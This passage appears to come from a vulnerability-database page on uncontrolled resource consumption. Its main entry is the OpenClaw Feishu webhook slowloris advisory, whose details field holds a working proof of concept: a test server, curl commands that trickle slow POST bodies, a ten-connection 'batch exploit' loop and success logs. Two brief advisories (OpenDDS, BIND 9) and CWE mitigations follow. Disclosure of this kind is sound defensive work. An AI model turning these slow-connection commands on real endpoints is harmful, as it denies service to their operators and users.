[patched-control] -conn after 5.0s (active: 19) ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)
Impact
An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.
With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave
The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.
Affected products
- Ecosystem: npm
- Package name: openclaw
- Affected versions: <= 2026.2.22
- Patched versions: None
Severity
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
- CWE: CWE-400: Uncontrolled Resource Consumption
Occurrences
| Permalink | Description |
|---|---|
| https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 | Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch. |
| https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 | installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284). |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35665"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T18:32:03Z",
"nvd_published_at": "2026-04-10T17:17:08Z",
"severity": "MODERATE"
},
"details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB\n timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s\n responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n \u2192 Rate limit check: passes (under 120 req/min)\n \u2192 Content-Type check: application/json, passes\n \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n \u2192 Body trickles at 1 byte/sec for 30 seconds\n \u2192 \u00d7 50 concurrent connections = connection exhaustion\n \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n let done = false;\n const timer = setTimeout(() =\u003e {\n if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n }, timeoutMs);\n req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n console.log(`[${req.url}] +conn`);\n bodyGuard(req, res, timeout);\n res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n -X POST http://localhost:3000/feishu/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n -X POST http://localhost:3000/patched/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n (echo -n \u0027A\u0027; sleep 15) | \\\n curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n [conn-0] RESET after 8.0s (8B)\n [conn-1] RESET after 8.0s (8B)\n ...\n [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10) \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19) \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
"id": "GHSA-w6m8-cqvj-pg5v",
"modified": "2026-04-10T19:44:53Z",
"published": "2026-03-30T18:32:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}
GHSA-W75X-F9JM-QXX4
Vulnerability from github – Published: 2022-05-06 00:00 – Updated: 2022-05-14 00:03OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood target devices with unwanted traffic, which may result in a denial-of-service condition.
{
"affected": [],
"aliases": [
"CVE-2021-38447"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-05T17:15:00Z",
"severity": "HIGH"
},
"details": "OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood target devices with unwanted traffic, which may result in a denial-of-service condition.",
"id": "GHSA-w75x-f9jm-qxx4",
"modified": "2022-05-14T00:03:34Z",
"published": "2022-05-06T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38447"
},
{
"type": "WEB",
"url": "https://opendds.org"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-315-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8W2-83MF-6CP5
Vulnerability from github – Published: 2025-01-30 00:31 – Updated: 2025-02-11 21:32It is possible to construct a zone such that some queries to it will generate responses containing numerous records in the Additional section. An attacker sending many such queries can cause either the authoritative server itself or an independent resolver to use disproportionate resources processing the queries. Zones will usually need to have been deliberately crafted to attack this exposure. This issue affects BIND 9 versions 9.11.0 through 9.11.37, 9.16.0 through 9.16.50, 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, 9.11.3-S1 through 9.11.37-S1, 9.16.8-S1 through 9.16.50-S1, and 9.18.11-S1 through 9.18.32-S1.
{
"affected": [],
"aliases": [
"CVE-2024-11187"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-29T22:15:28Z",
"severity": "HIGH"
},
"details": "It is possible to construct a zone such that some queries to it will generate responses containing numerous records in the Additional section. An attacker sending many such queries can cause either the authoritative server itself or an independent resolver to use disproportionate resources processing the queries. Zones will usually need to have been deliberately crafted to attack this exposure.\nThis issue affects BIND 9 versions 9.11.0 through 9.11.37, 9.16.0 through 9.16.50, 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, 9.11.3-S1 through 9.11.37-S1, 9.16.8-S1 through 9.16.50-S1, and 9.18.11-S1 through 9.18.32-S1.",
"id": "GHSA-w8w2-83mf-6cp5",
"modified": "2025-02-11T21:32:05Z",
"published": "2025-01-30T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11187"
},
{
"type": "WEB",
"url": "https://kb.isc.org/docs/cve-2024-11187"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250207-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
An application must make resources available to a client commensurate with the client's access level.
Mitigation
An application must, at all times, keep track of allocated resources and meter their usage appropriately.
Mitigation
Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.
No CAPEC attack patterns related to this CWE.